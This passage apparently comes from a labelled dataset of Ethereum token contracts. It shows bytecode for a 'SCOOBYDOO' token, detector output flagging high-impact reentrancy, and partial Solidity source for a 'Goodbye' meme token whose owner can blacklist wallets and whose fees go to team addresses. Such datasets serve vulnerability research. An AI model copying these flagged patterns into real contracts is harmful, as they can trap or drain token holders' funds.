ffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612b97565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53434f4f4259444f4f0000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112b1565b8484611484565b6001905092915050565b610a8b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c37565b60405180910390fd5b60005b8151811015610ba957600160066000848481518110610b3d57610b3c613094565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba190612fed565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bee6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e57600080fd5b6000610c19306107ba565b9050610c2481611b2f565b50565b610c2f6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390612c37565b60405180910390fd5b600f60149054906101000a900460ff1615610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906125bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7f57600080fd5b505afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb791906125bf565b6040518363ffffffff1660e01b8152600401610ed4929190612a87565b602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2691906125bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610faf306107ba565b600080610fba6109ff565b426040518863ffffffff1660e01b8152600401610fdc96959493929190612ad9565b6060604051808303818588803b158015610ff557600080fd5b505af1158015611009573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102e919061278f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611133929190612ab0565b602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111859190612735565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ca6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612b97565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612c97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612bd7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114779190612cd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90612b77565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612c57565b60405180910390fd5b6115af6109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed6109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750600f60179054906101000a900460ff165b15611898576010548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612e0d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118a3306107ba565b9050600f60159054906101000a900460ff161580156119105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119285750600f60169054906101000a900460ff165b156119505761193681611b2f565b6000479050600081111561194e5761194d476119c6565b5b505b505b61195d838383611db7565b505050565b60008383111582906119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a19190612b55565b60405180910390fd5b50600083856119b99190612eee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a16600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a92600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b5050565b6000600854821115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612bb7565b60405180910390fd5b6000611b12611e11565b9050611b278184611dc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6757611b666130c3565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b5090503081600081518110611bad57611bac613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4f57600080fd5b505afa158015611c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8791906125bf565b81600181518110611c9b57611c9a613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d66959493929190612cf2565b600060405180830381600087803b158015611d8057600080fd5b505af1158015611d94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dc2838383611e3c565b505050565b6000611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612007565b905092915050565b6000806000611e1e61206a565b91509150611e358183611dc790919063ffffffff16565b9250505090565b600080600080600080611e4e876120d5565b955095509550955095509550611eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d816121e5565b611f9784836122a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff49190612cd7565b60405180910390a3505050505050505050565b6000808311829061204e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120459190612b55565b60405180910390fd5b506000838561205d9190612e63565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120a66b033b2e3c9fd0803ce8000000600854611dc790919063ffffffff16565b8210156120c8576008546b033b2e3c9fd0803ce80000009350935050506120d1565b81819350935050505b9091565b60008060008060008060008060006120f28a600a54600b546122dc565b9250925092506000612102611e11565b905060008060006121158e878787612372565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611962565b905092915050565b60008082846121969190612e0d565b9050838110156121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d290612bf7565b60405180910390fd5b8091505092915050565b60006121ef611e11565b9050600061220682846123fb90919063ffffffff16565b905061225a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b78260085461213d90919063ffffffff16565b6008819055506122d28160095461218790919063ffffffff16565b6009819055505050565b60008060008061230860646122fa888a6123fb90919063ffffffff16565b611dc790919063ffffffff16565b905060006123326064612324888b6123fb90919063ffffffff16565b611dc790919063ffffffff16565b9050600061235b8261234d858c61213d90919063ffffffff16565b61213d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238b85896123fb90919063ffffffff16565b905060006123a286896123fb90919063ffffffff16565b905060006123b987896123fb90919063ffffffff16565b905060006123e2826123d4858761213d90919063ffffffff16565b61213d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240e5760009050612470565b6000828461241c9190612e94565b905082848261242b9190612e63565b1461246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246290612c17565b60405180910390fd5b809150505b92915050565b600061248961248484612d8c565b612d67565b905080838252602082019050828560208602820111156124ac576124ab6130f7565b5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816133e4565b92915050565b60008151905061250a816133e4565b92915050565b600082601f830112612525576125246130f2565b5b8135612535848260208601612476565b91505092915050565b60008135905061254d816133fb565b92915050565b600081519050612562816133fb565b92915050565b60008135905061257781613412565b92915050565b60008151905061258c81613412565b92915050565b6000602082840312156125a8576125a7613101565b5b60006125b6848285016124e6565b91505092915050565b6000602082840312156125d5576125d4613101565b5b60006125e3848285016124fb565b91505092915050565b6000806040838503121561260357612602613101565b5b6000612611858286016124e6565b9250506020612622858286016124e6565b9150509250929050565b60008060006060848603121561264557612644613101565b5b6000612653868287016124e6565b9350506020612664868287016124e6565b925050604061267586828701612568565b9150509250925092565b6000806040838503121561269657612695613101565b5b60006126a4858286016124e6565b92505060206126b585828601612568565b9150509250929050565b6000602082840312156126d5576126d4613101565b5b600082013567ffffffffffffffff8111156126f3576126f26130fc565b5b6126ff84828501612510565b91505092915050565b60006020828403121561271e5761271d613101565b5b600061272c8482850161253e565b91505092915050565b60006020828403121561274b5761274a613101565b5b600061275984828501612553565b91505092915050565b60006020828403121561277857612777613101565b5b600061278684828501612568565b91505092915050565b6000806000606084860312156127a8576127a7613101565b5b60006127b68682870161257d565b93505060206127c78682870161257d565b92505060406127d88682870161257d565b9150509250925092565b60006127ee83836127fa565b60208301905092915050565b61280381612f22565b82525050565b61281281612f22565b82525050565b600061282382612dc8565b61282d8185612deb565b935061283883612db8565b8060005b8381101561286957815161285088826127e2565b975061285b83612dde565b92505060018101905061283c565b5085935050505092915050565b61287f81612f34565b82525050565b61288e81612f77565b82525050565b600061289f82612dd3565b6128a98185612dfc565b93506128b9818560208601612f89565b6128c281613106565b840191505092915050565b60006128da602383612dfc565b91506128e582613117565b604082019050919050565b60006128fd600c83612dfc565b915061290882613166565b602082019050919050565b6000612920602a83612dfc565b915061292b8261318f565b604082019050919050565b6000612943602283612dfc565b915061294e826131de565b604082019050919050565b6000612966601b83612dfc565b91506129718261322d565b602082019050919050565b6000612989602183612dfc565b915061299482613256565b604082019050919050565b60006129ac602083612dfc565b91506129b7826132a5565b602082019050919050565b60006129cf602983612dfc565b91506129da826132ce565b604082019050919050565b60006129f2602583612dfc565b91506129fd8261331d565b604082019050919050565b6000612a15602483612dfc565b9150612a208261336c565b604082019050919050565b6000612a38601783612dfc565b9150612a43826133bb565b602082019050919050565b612a5781612f60565b82525050565b612a6681612f6a565b82525050565b6000602082019050612a816000830184612809565b92915050565b6000604082019050612a9c6000830185612809565b612aa96020830184612809565b9392505050565b6000604082019050612ac56000830185612809565b612ad26020830184612a4e565b9392505050565b600060c082019050612aee6000830189612809565b612afb6020830188612a4e565b612b086040830187612885565b612b156060830186612885565b612b226080830185612809565b612b2f60a0830184612a4e565b979650505050505050565b6000602082019050612b4f6000830184612876565b92915050565b60006020820190508181036000830152612b6f8184612894565b905092915050565b60006020820190508181036000830152612b90816128cd565b9050919050565b60006020820190508181036000830152612bb0816128f0565b9050919050565b60006020820190508181036000830152612bd081612913565b9050919050565b60006020820190508181036000830152612bf081612936565b9050919050565b60006020820190508181036000830152612c1081612959565b9050919050565b60006020820190508181036000830152612c308161297c565b9050919050565b60006020820190508181036000830152612c508161299f565b9050919050565b60006020820190508181036000830152612c70816129c2565b9050919050565b60006020820190508181036000830152612c90816129e5565b9050919050565b60006020820190508181036000830152612cb081612a08565b9050919050565b60006020820190508181036000830152612cd081612a2b565b9050919050565b6000602082019050612cec6000830184612a4e565b92915050565b600060a082019050612d076000830188612a4e565b612d146020830187612885565b8181036040830152612d268186612818565b9050612d356060830185612809565b612d426080830184612a4e565b9695505050505050565b6000602082019050612d616000830184612a5d565b92915050565b6000612d71612d82565b9050612d7d8282612fbc565b919050565b6000604051905090565b600067ffffffffffffffff821115612da757612da66130c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e1882612f60565b9150612e2383612f60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e5857612e57613036565b5b828201905092915050565b6000612e6e82612f60565b9150612e7983612f60565b925082612e8957612e88613065565b5b828204905092915050565b6000612e9f82612f60565b9150612eaa83612f60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ee357612ee2613036565b5b828202905092915050565b6000612ef982612f60565b9150612f0483612f60565b925082821015612f1757612f16613036565b5b828203905092915050565b6000612f2d82612f40565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f8282612f60565b9050919050565b60005b83811015612fa7578082015181840152602081019050612f8c565b83811115612fb6576000848401525b50505050565b612fc582613106565b810181811067ffffffffffffffff82111715612fe457612fe36130c3565b5b80604052505050565b6000612ff882612f60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561302b5761302a613036565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ed81612f22565b81146133f857600080fd5b50565b61340481612f34565b811461340f57600080fd5b50565b61341b81612f60565b811461342657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cb1c4c41e09a8740da171c7dcc71aba8c2d344b97cd9639f721a14c60bd2b0f764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,842
0xf9f9d599fc5dc4f61d56c6e34dd6035aac522082
/* Say Goodbye to all the others. It's our era, Goodbye 5% tax https://t.me/GoodbyeCoin */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Goodbye is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Goodbye"; string private constant _symbol = "GB"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _redisfee = 2; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function maxtx(uint256 maxTxpc) external { require(_msgSender() == _teamAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 5; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = 